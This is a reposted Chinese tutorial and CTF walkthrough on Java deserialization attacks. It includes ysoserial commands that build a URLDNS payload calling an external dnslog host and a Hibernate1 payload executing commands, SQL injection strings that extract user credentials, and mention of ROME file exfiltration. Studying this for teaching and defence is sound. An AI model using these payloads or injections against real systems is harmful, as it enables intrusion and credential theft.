小迪安全47WEB 攻防-通用漏洞Java 反序列化EXP 生成数据提取组件安全

本文主要是介绍小迪安全47WEB 攻防-通用漏洞Java 反序列化EXP 生成数据提取组件安全,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

#知识点:

1Java 反序列化演示-原生 API 接口

2Java 反序列化漏洞利用-Ysoserial 使用

3Java 反序列化漏洞发现利用点-函数&数据

4Java 反序列化考点-真实&CTF 赛题-审计分析

#内容点:

1、明白-Java 反序列化原理

2、判断-Java 反序列化漏洞

3、学会-Ysoserial 工具使用

4、学会-SerializationDumper

5、了解-简要 Java 代码审计分析

#前置知识:

序列化和反序列化的概念:

序列化:把 Java 对象转换为字节序列(字节流)的过程。

反序列化:把字节序列恢复为 Java 对象的过程。

对象的序列化主要有两种用途:

把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)

在网络上传送对象的字节序列。(网络传输对象)

函数接口:

JavaSerializable Externalizable 接口、fastjsonjacksongson

ObjectInputStream.readObjectObjectInputStream.readUnshared

XMLDecoder.readObjectYaml.loadXStream.fromXML

ObjectMapper.readValueJSON.parseObject

PHPserialize()unserialize()

Pythonpickle

数据出现:

1、功能特性:

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数

据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。

2、数据特性:

一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。

或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。

3、出现具体:

http 参数,cookiesesion,存储方式可能是 base64(rO0),压缩后的

base64(H4s),MII Servlets http,Sockets,Session 管理器,包含的协议就包

发现:

黑盒分析:数据库出现地-观察数据特性

白盒分析:组件安全&函数搜索&功能模块

利用:

Ysoserial工具利用


Ø 原生 API-Ysoserial_URLDNS 使用

Ø 三方组件-Ysoserial_支持库生成使用

Ø 解密分析-SerializationDumper 数据分析

Ø CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava


#java序列化和反序列化

具体代码:

package SerialTest;

import java.io.*;

public class SerializableTest {
    public static void main(String[] args) throws Exception {
        serialPerson();
        Person person = deserialPerson();
        System.out.println(person);
    }

    /**
     * Person对象序列化
     * @throws IOException
     */
    private static void serialPerson() throws IOException {
        Person person = new Person("xiaodi", 28, "男", 101);

        ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream(new File("d:/person.txt"))
        );
        oos.writeObject(person);
        System.out.println("person 对象序列化成功!");
        oos.close();
    }

    /**
     * Person对象反序列化
     * @return
     * @throws Exception
     */
    private static Person deserialPerson() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(
                new FileInputStream(new File("d:/x.txt"))
        );
        Person person = (Person)ois.readObject();
        System.out.println("person 对象反序列化成功!");
        //Runtime.getRuntime().exec("calc.exe");
        return person;
    }
}

正序列化

符合数据特性中的aced开头

利用:当我们对序列化后的数据进行数据更改,构造出恶意代码,再放回去,便形成了反序列化攻击

#原生 API-Ysoserial_URLDNS 使用

由于Ys工具多半是针对原生类的,而现在大多数都是以组件的形式,格式可能不支持

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

Serializable 接口

Externalizable 接口

没组件生成 DNS 利用:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://43x1nz.dnslog.cn" > urldns.ser

修改文件,将person文件换为a.txt载入使反序列化

相关的DNS收到其信息,说明其会进行反序列化并进行执行

#三方组件-Ysoserial_支持库生成使用

https://github.com/WebGoat/WebGoat

有组件生成 RCE:

将此文件库保存下来,进行引用

1、生成:java -Dhibernate5 -cp hibernate-core-

5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar

ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

进行本地执行计算机的命令

生成以ACED头的

而题中的要求要rO0AB 开头,故需进行base64加密

2、解码:python java.py

import base64

file = open("x.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

成功

#解密分析-SerializationDumper 数据分析

在代码审计中或代码利用时判断是否成功——只支持十六进制

https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava

0x01 注入判断,获取管理员帐号密码:

根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞

另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名 name,pwd

注入测试:

POST /common/test/sqlDict

dbName=myapp?a=' union select (select name from user)#

dbName=myapp?a=' union select (select pwd from user)#

0x02 接口测试

/swagger-ui.html 接口测试:

{

"password":"admin@Rrrr_ctf_asde",

"username": "admin"

}

根据题目中给的swagger的接口login,进行测试

发现,data里有反序列化数据,解密一下(base64解密java_bs.py+SerializationDumper解密

在接口current下,输入data数据

操作成功,且得知了是admin操作的,这就说明在序列化下存在admin的权限,且只有此功能存在了对序列化的读取才会知道有admin用户,故存在反序列化操作

利用原生类URLDNS进行测试

同时进行base64加密——Java.python——因为data里的序列化为rO0AB 开头

提交

有了,漏洞存在

获取flag

ROME:让对方的指定文件发送到指定地址中

成功监听

这篇关于小迪安全47WEB 攻防-通用漏洞Java 反序列化EXP 生成数据提取组件安全的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/847894

相关文章

JVM 的类初始化机制

前言 当你在 Java 程序中new对象时,有没有考虑过 JVM 是如何把静态的字节码(byte code)转化为运行时对象的呢,这个问题看似简单,但清楚的同学相信也不会太多,这篇文章首先介绍 JVM 类初始化的机制,然后给出几个易出错的实例来分析,帮助大家更好理解这个知识点。 JVM 将字节码转化为运行时对象分为三个阶段,分别是:loading 、Linking、initialization

Spring Security 基于表达式的权限控制

前言 spring security 3.0已经可以使用spring el表达式来控制授权,允许在表达式中使用复杂的布尔逻辑来控制访问的权限。 常见的表达式 Spring Security可用表达式对象的基类是SecurityExpressionRoot。 表达式描述hasRole([role])用户拥有制定的角色时返回true (Spring security默认会带有ROLE_前缀),去

浅析Spring Security认证过程

类图 为了方便理解Spring Security认证流程,特意画了如下的类图,包含相关的核心认证类 概述 核心验证器 AuthenticationManager 该对象提供了认证方法的入口,接收一个Authentiaton对象作为参数; public interface AuthenticationManager {Authentication authenticate(Authenti

Spring Security--Architecture Overview

1 核心组件 这一节主要介绍一些在Spring Security中常见且核心的Java类,它们之间的依赖,构建起了整个框架。想要理解整个架构,最起码得对这些类眼熟。 1.1 SecurityContextHolder SecurityContextHolder用于存储安全上下文(security context)的信息。当前操作的用户是谁,该用户是否已经被认证,他拥有哪些角色权限…这些都被保

Spring Security基于数据库验证流程详解

Spring Security 校验流程图 相关解释说明(认真看哦) AbstractAuthenticationProcessingFilter 抽象类 /*** 调用 #requiresAuthentication(HttpServletRequest, HttpServletResponse) 决定是否需要进行验证操作。* 如果需要验证,则会调用 #attemptAuthentica

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

JS常用组件收集

收集了一些平时遇到的前端比较优秀的组件,方便以后开发的时候查找!!! 函数工具: Lodash 页面固定: stickUp、jQuery.Pin 轮播: unslider、swiper 开关: switch 复选框: icheck 气泡: grumble 隐藏元素: Headroom

Java架构师知识体认识

源码分析 常用设计模式 Proxy代理模式Factory工厂模式Singleton单例模式Delegate委派模式Strategy策略模式Prototype原型模式Template模板模式 Spring5 beans 接口实例化代理Bean操作 Context Ioc容器设计原理及高级特性Aop设计原理Factorybean与Beanfactory Transaction 声明式事物

大模型研发全揭秘:客服工单数据标注的完整攻略

在人工智能(AI)领域,数据标注是模型训练过程中至关重要的一步。无论你是新手还是有经验的从业者,掌握数据标注的技术细节和常见问题的解决方案都能为你的AI项目增添不少价值。在电信运营商的客服系统中,工单数据是客户问题和解决方案的重要记录。通过对这些工单数据进行有效标注,不仅能够帮助提升客服自动化系统的智能化水平,还能优化客户服务流程,提高客户满意度。本文将详细介绍如何在电信运营商客服工单的背景下进行

基于MySQL Binlog的Elasticsearch数据同步实践

一、为什么要做 随着马蜂窝的逐渐发展,我们的业务数据越来越多,单纯使用 MySQL 已经不能满足我们的数据查询需求,例如对于商品、订单等数据的多维度检索。 使用 Elasticsearch 存储业务数据可以很好的解决我们业务中的搜索需求。而数据进行异构存储后,随之而来的就是数据同步的问题。 二、现有方法及问题 对于数据同步,我们目前的解决方案是建立数据中间表。把需要检索的业务数据,统一放到一张M